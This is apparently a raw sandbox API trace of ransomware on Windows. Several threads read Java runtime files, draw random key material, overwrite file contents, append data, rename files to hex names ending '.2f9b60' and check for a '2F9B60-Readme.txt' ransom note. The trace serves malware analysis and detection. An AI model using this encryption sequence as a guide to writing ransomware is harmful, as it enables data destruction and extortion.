[0210.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0210.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7e0 [0210.333] NtQuerySystemTime (in: CurrentTime=0x2117f640 | out: CurrentTime=0x2117f640*=132462178151938000) returned 0x0 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0xf955143 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x59bcc9ec [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0xd2fed69 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x35d4b5b7 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x4b3b4b39 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x431a6dec [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x37026b81 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0xf98bb51 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x742a13ce [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x516cd8bb [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x677270d2 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x31e753e9 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x4de783ba [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x309467fd [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x558a5a66 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x658e50a5 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x764e1bdc [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x35e9562e [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x216c766f [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x30a87d01 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x3fddbb73 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x3e380b6c [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x4a73519a [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x48244522 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x6c7ba22b [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x4b1eb3be [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x39f34ba0 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x2b335546 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x2564e639 [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x7bd3a0aa [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x7ce735ea [0210.333] RtlRandomEx (in: Seed=0x2117f630 | out: Seed=0x2117f630) returned 0x216c766f [0210.351] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.351] ReadFile (in: hFile=0x530, lpBuffer=0x42843630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2117f6a0, lpOverlapped=0x0 | out: lpBuffer=0x42843630*, lpNumberOfBytesRead=0x2117f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0211.602] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0211.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba960 [0211.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0211.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0211.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6a520 [0211.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0211.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7b0 [0211.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7b0) returned 1 [0211.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0211.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0211.606] WriteFile (in: hFile=0x530, lpBuffer=0x41f6a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2117f6a0, lpOverlapped=0x0 | out: lpBuffer=0x41f6a520*, lpNumberOfBytesWritten=0x2117f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6a520) returned 1 [0228.158] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.158] ReadFile (in: hFile=0x530, lpBuffer=0x42843630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2117f6a0, lpOverlapped=0x0 | out: lpBuffer=0x42843630*, lpNumberOfBytesRead=0x2117f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.557] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c90 [0228.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0228.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0228.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3dc0) returned 1 [0228.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a845f0 [0228.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0228.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0228.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f10) returned 1 [0228.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0228.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c90) returned 1 [0228.561] WriteFile (in: hFile=0x530, lpBuffer=0x42a845f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2117f6a0, lpOverlapped=0x0 | out: lpBuffer=0x42a845f0*, lpNumberOfBytesWritten=0x2117f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0239.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a845f0) returned 1 [0239.996] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x3f42a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.996] ReadFile (in: hFile=0x530, lpBuffer=0x42843630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2117f6a0, lpOverlapped=0x0 | out: lpBuffer=0x42843630*, lpNumberOfBytesRead=0x2117f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0240.012] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x3f42a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce63090 [0240.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0240.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0240.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab940) returned 1 [0240.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235b4e0 [0240.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0240.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0240.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0240.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0240.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63090) returned 1 [0240.016] WriteFile (hFile=0x530, lpBuffer=0x4235b4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2117f6a0, lpOverlapped=0x0) Thread: id = 3536 os_tid = 0x1fb8 [0210.167] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\srgb.pf")) returned 0x20 [0210.167] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf", dwFileAttributes=0x20) returned 1 [0210.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1330 [0210.168] GetFileSizeEx (in: hFile=0x1330, lpFileSize=0x2168fb40 | out: lpFileSize=0x2168fb40*=3144) returned 1 [0210.168] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.168] ReadFile (in: hFile=0x1330, lpBuffer=0x2168fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2168fb08, lpOverlapped=0x0 | out: lpBuffer=0x2168fac0*, lpNumberOfBytesRead=0x2168fb08*=0x4, lpOverlapped=0x0) returned 1 [0211.619] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0211.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0211.620] NtQuerySystemTime (in: CurrentTime=0x2168fa00 | out: CurrentTime=0x2168fa00*=132462178164886000) returned 0x0 [0211.620] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x48fc0bc3 [0211.620] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x7046ea5a [0211.620] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x6bcd3d31 [0211.620] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x6f1c3788 [0211.620] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x5483c89d [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x32ee2d4e [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x7976ce8 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x3e9116fa [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x1c247ad8 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x73d8f8ff [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x3d2445a [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x12188222 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x31398955 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x4d7b10ef [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x366e3f55 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x67a48ab0 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x3a46d95d [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x2f90b286 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x26795d81 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x2fe36ef [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x594774ba [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x70d5dc13 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x2131843b [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x2f0b0694 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x4986e69e [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x9e5c0d4 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x5853d55e [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x47bf6957 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x55d3b888 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x4747cd03 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x4faedbd7 [0211.621] RtlRandomEx (in: Seed=0x2168f9f0 | out: Seed=0x2168f9f0) returned 0x30a0cdbd [0211.656] ReadFile (in: hFile=0x1330, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x2168f9f0, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x2168f9f0*=0xc48, lpOverlapped=0x0) returned 1 [0211.656] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.656] WriteFile (in: hFile=0x1330, lpBuffer=0x422401c0*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x2168f9f4, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesWritten=0x2168f9f4*=0xc48, lpOverlapped=0x0) returned 1 [0215.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f20 [0215.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ef0 [0215.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ef0) returned 1 [0215.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0215.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0215.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba8e0) returned 1 [0215.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0215.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42ac0ef0 [0215.526] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.526] WriteFile (in: hFile=0x1330, lpBuffer=0x431a9d70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2168fb10, lpOverlapped=0x0 | out: lpBuffer=0x431a9d70*, lpNumberOfBytesWritten=0x2168fb10*=0x100, lpOverlapped=0x0) returned 1 [0217.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d780 [0217.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d780) returned 1 [0217.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0217.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d780 [0217.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0217.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0217.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x2050e710 [0217.953] sprintf (in: _Dest=0x2050e710, _Format="%c%c" | out: _Dest="c4") returned 2 [0217.953] sprintf (in: _Dest=0x2050e712, _Format="%c%c" | out: _Dest="14") returned 2 [0217.954] sprintf (in: _Dest=0x2050e714, _Format="%c%c" | out: _Dest="1b") returned 2 [0217.954] sprintf (in: _Dest=0x2050e716, _Format="%c%c" | out: _Dest="df") returned 2 [0217.954] sprintf (in: _Dest=0x2050e718, _Format="%c%c" | out: _Dest="82") returned 2 [0217.954] sprintf (in: _Dest=0x2050e71a, _Format="%c%c" | out: _Dest="f9") returned 2 [0217.954] sprintf (in: _Dest=0x2050e71c, _Format="%c%c" | out: _Dest="a4") returned 2 [0217.954] sprintf (in: _Dest=0x2050e71e, _Format="%c%c" | out: _Dest="b5") returned 2 [0217.954] sprintf (in: _Dest=0x2050e720, _Format="%c%c" | out: _Dest="9a") returned 2 [0217.954] sprintf (in: _Dest=0x2050e722, _Format="%c%c" | out: _Dest="24") returned 2 [0217.954] sprintf (in: _Dest=0x2050e724, _Format="%c%c" | out: _Dest="bd") returned 2 [0217.954] sprintf (in: _Dest=0x2050e726, _Format="%c%c" | out: _Dest="0e") returned 2 [0217.954] sprintf (in: _Dest=0x2050e728, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.954] sprintf (in: _Dest=0x2050e72a, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.954] RtlInitAnsiString (in: DestinationString=0x2168fb88, SourceString="c4141bdf82f9a4b59a24bd0ecae1" | out: DestinationString="c4141bdf82f9a4b59a24bd0ecae1") [0217.954] RtlAnsiStringToUnicodeString (in: DestinationString=0x2168fb58, SourceString="c4141bdf82f9a4b59a24bd0ecae1", AllocateDestinationString=1 | out: DestinationString="c4141bdf82f9a4b59a24bd0ecae1") returned 0x0 [0217.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce62910 [0217.955] wcscat (in: _Dest=0x1ce23ea0, _Source="c4141bd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd" [0217.955] wcscat (in: _Dest=0x1ce23ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd.2f9b60" [0217.955] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd.2f9b60", NtPathName=0x2168fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\c4141bd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4318b9e0 [0229.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318b9e0) returned 1 [0229.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ac4a0) returned 1 [0229.719] NtQueryInformationFile (in: FileHandle=0x1330, IoStatusBlock=0x2168fb98, FileInformation=0x2168fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2168fb98, FileInformation=0x2168fba8) returned 0x0 [0229.719] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x2168fb98, FileInformation=0x2168fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0233.603] FlushFileBuffers (hFile=0x1330) returned 1 [0235.019] CloseHandle (hObject=0x1330) returned 1 [0236.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e370 [0236.629] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0236.629] wcscat (in: _Dest=0x1b79e370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" [0236.629] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\2f9b60-readme.txt")) returned 0x20 [0236.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309f910) returned 1 Thread: id = 3537 os_tid = 0x2018 [0210.170] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\cacerts")) returned 0x20 [0210.307] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts", dwFileAttributes=0x20) returned 1 [0210.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\cacerts"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x94c [0210.576] GetFileSizeEx (in: hFile=0x94c, lpFileSize=0x1f63fe20 | out: lpFileSize=0x1f63fe20*=82586) returned 1 [0210.576] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x14296, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.576] ReadFile (in: hFile=0x94c, lpBuffer=0x1f63fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f63fde8, lpOverlapped=0x0 | out: lpBuffer=0x1f63fda0*, lpNumberOfBytesRead=0x1f63fde8*=0x4, lpOverlapped=0x0) returned 1 [0210.598] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0210.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9010 [0210.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.598] NtQuerySystemTime (in: CurrentTime=0x1f63fce0 | out: CurrentTime=0x1f63fce0*=132462178154590000) returned 0x0 [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x2a33fd7f [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x1f1013cb [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x5089ddd [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x11f2d3cf [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x3e5d3224 [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x3adb4797 [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x12a14e60 [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x445c186c [0210.598] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x7d869fac [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x39f34ba0 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x226f2e30 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x323ffe7a [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x65472f4 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x5fae568b [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x7254a7bc [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x184eed3b [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x142ec05f [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x7bd3a0aa [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x9555077 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x4ff9daaf [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x3b386e40 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x5d8a4098 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x342b68f1 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x58005764 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x766400d1 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x6f3ca893 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x142ec05f [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0x265fabf1 [0210.599] RtlRandomEx (in: Seed=0x1f63fcd0 | out: Seed=0x1f63fcd0) returned 0xb2b7c6b [0210.599] RtlRandomEx 